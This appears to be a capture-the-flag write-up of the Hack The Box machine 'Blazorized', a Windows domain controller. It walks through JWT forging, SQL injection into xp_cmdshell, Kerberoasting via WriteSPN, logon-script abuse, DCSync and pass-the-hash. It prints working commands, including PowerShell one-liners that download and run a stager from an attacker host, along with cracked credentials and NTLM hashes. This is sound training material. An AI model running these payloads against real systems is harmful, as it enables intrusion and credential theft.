Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://blazorized.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-01 14:04:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
| 10.129.94.155\BLAZORIZED:
| Instance name: BLAZORIZED
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
| TCP port: 1433
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.129.94.155\BLAZORIZED:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-01T14:02:35
|_Not valid after: 2054-07-01T14:02:35
|_ssl-date: 2024-07-01T14:05:15+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49776/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
| 10.129.94.155:49776:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 49776
|_ssl-date: 2024-07-01T14:05:15+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-01T14:02:35
|_Not valid after: 2054-07-01T14:02:35
| ms-sql-ntlm-info:
| 10.129.94.155:49776:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-01T14:05:03
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
From the nmap scan I gather that the target system is an Active Directory Domain Controller. Additionally on port 80/tcp
a website is hosted that want to redirect me to blazorized.htb
. So I add this domain and the common-name of DC1.blazorized.htb
to my /etc/hosts
file. While I taking a look at the website I start fuzzing for potential subdomains. Through this I find a new subdomain, which I also add to my hosts file.
$ ffuf -u "http://blazorized.htb" -H "Host: FUZZ.blazorized.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 144
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://blazorized.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
:: Header : Host: FUZZ.blazorized.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 144
________________________________________________
admin [Status: 200, Size: 2042, Words: 149, Lines: 28, Duration: 25ms]
Foothold as NU_1055
Web Assembly - blazorized.htb
The website itself seems to have very little dynamic is describes itself as being build using a static-site-generator. Navigating the the “Check for Updates” page reveals an interesting button which allows me to “temporarily impersonate” the administrator account when making requests to the API. When first clicking on the button the update fails. But taking a look at the traffic in Burp shows that the website attempts to connect to api.blazorized.htb
, which it cannot resolve. So I add it to my hosts file.
Once the update is successful several new post show up on the website. From the intercepted request I could also gather that the website/API uses JWT tokens for its authorization. Among the requests from my first request to the website I see several DLLs being requested.
I found the list of DLLs within BurpSuite a bit clunky which why I dove a bit deeper into the topic of WebAssembly with Blazor and found this StackOverflow article. This told me that I could see all the loaded DLLs by making a request to /_framework/blazor.boot.json
.
$ curl http://blazorized.htb/_framework/blazor.boot.json
While the web application uses a lot of standard “System” DLLs it also loads handful custom DLLs, all which I download for further inspection.
Blazored.LocalStorage.dll
Blazorized.DigitalGarden.dll
Blazorized.Shared.dll
Blazorized.Helpers.dll
dnSpy
With all the custom DLLs downloaded I transfer them to my FLARE VM and decompile them using dnSpy, similar to what I did during the Einladen Sherlock. Out of the four DLLs only Blazorized.Helpers.dll
contained immediately valuable information. The JWT
class contained extensive information about how a SuperAdmin JWT is supposed to be structured and also the signing secret.
// Token: 0x0600000A RID: 10 RVA: 0x00002258 File Offset: 0x00000458
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L) {
string text3;
try {
List < Claim > list = new List < Claim > {
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue), new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.adminDashboardAudience;
IEnumerable < Claim > enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
text3 = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
} catch (Exception) {
throw;
}
return text3;
}
// Token: 0x04000006 RID: 6
private static readonly string jwtSymmetricSecurityKey = "8697800004ee25f...<SNIP> ....a28b53d0a";
// Token: 0x04000007 RID: 7
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
// Token: 0x04000008 RID: 8
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
// Token: 0x04000009 RID: 9
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
// Token: 0x0400000A RID: 10
private static readonly string superAdminRoleClaimValue = "Super_Admin";
// Token: 0x0400000B RID: 11
private static readonly string issuer = "http://api.blazorized.htb";
// Token: 0x0400000C RID: 12
private static readonly string apiAudience = "http://api.blazorized.htb";
// Token: 0x0400000D RID: 13
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
Going off of the structure laid out in the GenerateSuperAdminJWT()
function I was able to create and sign my own SuperAdmin JWT using jwt.io.
SQL Injection - admin.blazorized.htb
With the forged SuperAdmin JWT in hand I now try to bypass the login mask at the admin.blazorized.htb
subdomain. Passing my JWT to the server however turned out to be a bit of guesswork and I spent a lot of time looking through the decompiled custom DLLs for this website. My first ideas of passing the token as a cookie or through an authorization header with to my requests did not work. Based on the Blazored.LocalStorage.dll
and the fact the website used the local storage to store its darkmode option I tried adding the JWT to the local storage. Some guesswork later the correct keyword for my JWT value turned out to be jwt
.
After successfully authenticating with the forged JWT the Super Admin Panel immediately hints that the next exploitation step is related to the database connection. Taking a look at the submenus on the right I have two options for interacting with the database.
Under the Create Categories menu I can set a name and an optional parent-id
to create a new post on the website. I assumed the underlying SQL query to be INSERT -> VALUES
.
Before trying to exploit this query I also took a look at the Check Duplicate Category Names menu. Here the query probably looks like SELECT COUNT -> WHERE
. Which I verified with the following SQL injection input ' or 1=1--
. As you can see it now returns that every existing category matches my given title.
Due not being able to automatically enumerate this SQLi injection, since there is request that I could put my injection payload into. I start testing out the low hanging fruits by executing dangerous MSSQL stored procedures.
My first query was using xp_dirtree
to try and get a NetNTLMv2 hash of the database service account, which could potentially be cracked.
'; EXEC master..xp_dirtree "\\10.10.14.22\\something"--
This worked and responder
was able to capture some hashes. However they do seem to crack using the rockyou.txt
wordlist.
DC1$::BLAZORIZED:b7b171587217c2dd:87218595DC49511640B6F0B6E01A7A3B:010100000000000000BDCE27E6CADA0137DB965CEBA960DD00000000020008004D005A003300360001001E00570049004E002D0048003000420039003900510049004F0043005900390004003400570049004E002D0048003000420039003900510049004F004300590039002E004D005A00330036002E004C004F00430041004C00030014004D005A00330036002E004C004F00430041004C00050014004D005A00330036002E004C004F00430041004C000700080000BDCE27E6CADA01060004000200000008003000300000000000000000000000004000007C608E743CAFDBB00203547063E36C3303A47E992E6C7581C157698A4AC77B500A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320032000000000000000000
NU_1055::BLAZORIZED:dd1426dc9c6f72ce:2D3812AF46F71FA5D42AC9E757E3E130:010100000000000000BDCE27E6CADA013F8F61879358C6EC00000000020008004D005A003300360001001E00570049004E002D0048003000420039003900510049004F0043005900390004003400570049004E002D0048003000420039003900510049004F004300590039002E004D005A00330036002E004C004F00430041004C00030014004D005A00330036002E004C004F00430041004C00050014004D005A00330036002E004C004F00430041004C000700080000BDCE27E6CADA01060004000200000008003000300000000000000000000000002100007C608E743CAFDBB00203547063E36C3303A47E992E6C7581C157698A4AC77B500A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320032000000000000000000
As such my next command is to check whether I can use xp_cmdshell
to execute OS commands. Executing a simple ping
command through this shows some ICMP traffic from the machine to my attacker host. So now I execute an encoded Powershell command, which will download and execute a custom Sliver stager.
'; EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.198:8000/parachute.ps1") | powershell -noprofile' --
With a user shell on the machine I can read the user flag.
Shell as RSA_4810
Taking note of the directories within C:\Users
I can see that besides the Administrator only RSA_4810
and SSA_6010
ever logged onto the machine. Since I am in an Active Directory environment my first order of business is to run SharpHound.
sliver (CONSTANT_MUSIC-MAKING) > execute-assembly SharpHound.exe '-c All,GPOLocalGroup'
After loading the data into Bloodhound and marking NU_1055
as owned and RSA_4810
and SSA_6010
as High Value Targets to map out potential path for lateral movement. This shows that as NU_1055
I have write access to the ServicePrincipalName (SPN) of RSA_4810
. This allows me to setup the target account for Kerberoasting.
I took this box an opportunity to get a better grasp on all the tools and capabilities of the Sliver C2 framework. Since the most common way to abuse WriteSPN
is by making use of Cmdlets from PowerView I initially tried to exploit it through the C# variant SharpView (both the armory version and through execute-assembly
), but for unknown reasons this failed and I was not able to set a SPN. I than used sharpsh
to pull a copy of PowerView from my attacker machine into memory and execute the necessary commands. The syntax required me to base64-encode the Powershell commands that I want to execute.
Set-DomainObject -Identity 'S-1-5-21-2039403211-964143010-2924010611-1107' -SET @{'serviceprincipalname'='nonexistent/BLAHBLAH'}
Get-DomainSPNTicket nonexistent/BLAHBLAH
As such I included the commands above for illustrative purposes, to make it easier to understand the PowerView commands I ultimately ran. After Base64-encoding the respective commands and hosting a version of PowerView on my attacker machine I run the following commands from my Sliver session. After setting the SPN and making the user RSA_4810
vulnerable to Kerberoasting I can retrieve the ticket through Rubeus or PowerView.
sliver (CONSTANT_MUSIC-MAKING) > sharpsh -- '-u http://10.10.14.198:8000/PowerView.ps1 -e -c U2V0LURvbWFpbk9iamVjdCAtSWRlbnRpdHkgJ1MtMS01LTIxLTIwMzk0MDMyMTEtOTY0MTQzMDEwLTI5MjQwMTA2MTEtMTEwNycgLVNFVCBAeydzZXJ2aWNlcHJpbmNpcGFsbmFtZSc9J25vbmV4aXN0ZW50L0JMQUhCTEFIJ30='
sliver (CONSTANT_MUSIC-MAKING) > sharpsh -- '-u http://10.10.14.198:8000/PowerView.ps1 -e -c R2V0LURvbWFpblNQTlRpY2tldCBub25leGlzdGVudC9CTEFIQkxBSA=='
sliver (CONSTANT_MUSIC-MAKING) > rubeus -i 'kerberoast /user:RSA_4810'
Either method works in retrieving a ticket for the written SPN.
[*] rubeus output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Kerberoasting
[*] Target User : RSA_4810
[*] Target Domain : blazorized.htb
[*] Searching path 'LDAP://DC1.blazorized.htb/DC=blazorized,DC=htb' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=RSA_4810)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : RSA_4810
[*] DistinguishedName : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
[*] ServicePrincipalName : nonexistent/BLAHBLAH
[*] PwdLastSet : 2/25/2024 11:55:59 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*RSA_4810$blazorized.htb$nonexistent/BLAHBLAH@blazorized.htb*$36E7FA
I can now crack the RC4 encrypted TGS of RSA_4810
with hashcat
to get the plaintext password for the account. The ticket cracks and reveals the password of (Ni7856Do9854Ki05Ng0005 #)
. Since this user is also in the Remote Management Users group I can now log into the machine through evil-winrm
if needed.
$ hashcat -m 13100 hashes/rsa_4810.tgs rockyou.txt
Shell as SSA_6010
With a shell as RSA_4810
acquired, I now focus on the second user account the on the machine SSA_6010
, since they are capable of performing a DCSync against the domain.
After local enumeration with winPEAS
and Seatbelt
did not turn up helpful information I take a look at the access permission of RSA_4810
over SSA_6010
. To query this information I use a tool called StandIn.
Looking through the output shows that I can write to the property scriptPath
of the user SSA_6010
.
sliver (CONSTANT_MUSIC-MAKING) > execute-assembly -i StandIn.exe '--object samaccountname=SSA_6010 --access'
[+] Identity --> BLAZORIZED\RSA_4810
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : scriptPath
Doing some research about the what this attribute does and how I could exploit this I come across the aforementioned blog posts. The examples that set the attribute to an attacker controlled SMB share did not work. This was confirmed by this blog that states “We could not demonstrate in test.local that a logon script will run from a location other than NETLOGON.”.
- https://www.thehacker.recipes/ad/movement/dacl/logon-script
- https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/
While this blog post was an excellent resource and put me on the correct track of using the NETLOGON share. It did not mention the necessity of setting the scriptPath
to a relative path. This might have been implied within the blog post, but I only truly grasped this from the Microsoft documentation.
Important
If the logon script is stored in a subfolder of the default logon script path, put the relative path to that folder in front of the file name. For example, if the Startup.bat logon script is stored in
\\**ComputerName**\Netlogon\FolderName, type FolderName\Startup.bat
. https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/assign-logon-script-profile-local-user
With this new information I start creating a .bat
file, which will download and launch the same Sliver stager as before.
@echo off
powershell.exe -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANAA0ADoAOAAwADAAMAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=
I than upload the file to the NETLOGON directory of the Domain Controller where RSA_4810
has write access to. To be completely sure that SSA_6010
has access to the file use icacls
to grant every user full access over the file.
sliver (CAREFUL_OWNER) > upload shell.bat C:\\windows\\sysvol\\sysvol\\blazorized.htb\\scripts\\A32FF3AEAA23\\shell.bat
# icacls shell.bat /grant Everyone:F
# Set-DomainObject "S-1-5-21-2039403211-964143010-2924010611-1124" -Set @{'scriptPath'='A32FF3AEAA23\shell.bat'} -Verbose
Roughly a minute later multiple Sliver sessions connect back to me. To stop this session spam I quickly set the scriptPath
to an invalid target. With a shell as SSA_6010
acquired, I can now perform a DCSync to replicate the DC and dump all the NTLM hashes of the domain users.
sliver (CAREFUL_OWNER) > execute-assembly -i /home/kali/tools/sharpcollection/SharpKatz.exe '--Command dcsync'
[*] Output:
[*]
[*] System Information
[*] ----------------------------------------------------------------------
[*] | Platform: Win32NT |
[*] ----------------------------------------------------------------------
[*] | Major: 10 | Minor: 0 | Build: 17763 |
[*] ----------------------------------------------------------------------
[*] | Version: Microsoft Windows NT 10.0.17763.0 |
[*] ----------------------------------------------------------------------
[*]
[!] BLAZORIZED.HTB will be the domain
[!] DC1.blazorized.htb will be the DC server
[*] Output file will be C:\Users\SSA_6010\AppData\Local\Temp\30062024143123.txt
[*] Replication data exported
After downloading and cleaning up the file I am left with the following “relevant” hashes.
DC1$ 4b4ed5dfaa22dc4e41c279c0c62b9ee2
NU_1055 63001e8b2d13ee358ad7d6de4590fed3
Administrator f55ed1465179ba374ec1cad05b34a5f3
RSA_4810 381b793bde4dea233ae34bb1d9ce38f5
SSA_6010 798d0354e026fd168b91063f09184c9f
Shell as Administrator
And now with the NT hash of Administrator acquire I leave Sliver and and log into the machine through evil-winrm
and read the root flag.
evil-winrm -u Administrator -H f55ed1465179ba374ec1cad05b34a5f3 -i blazorized.htb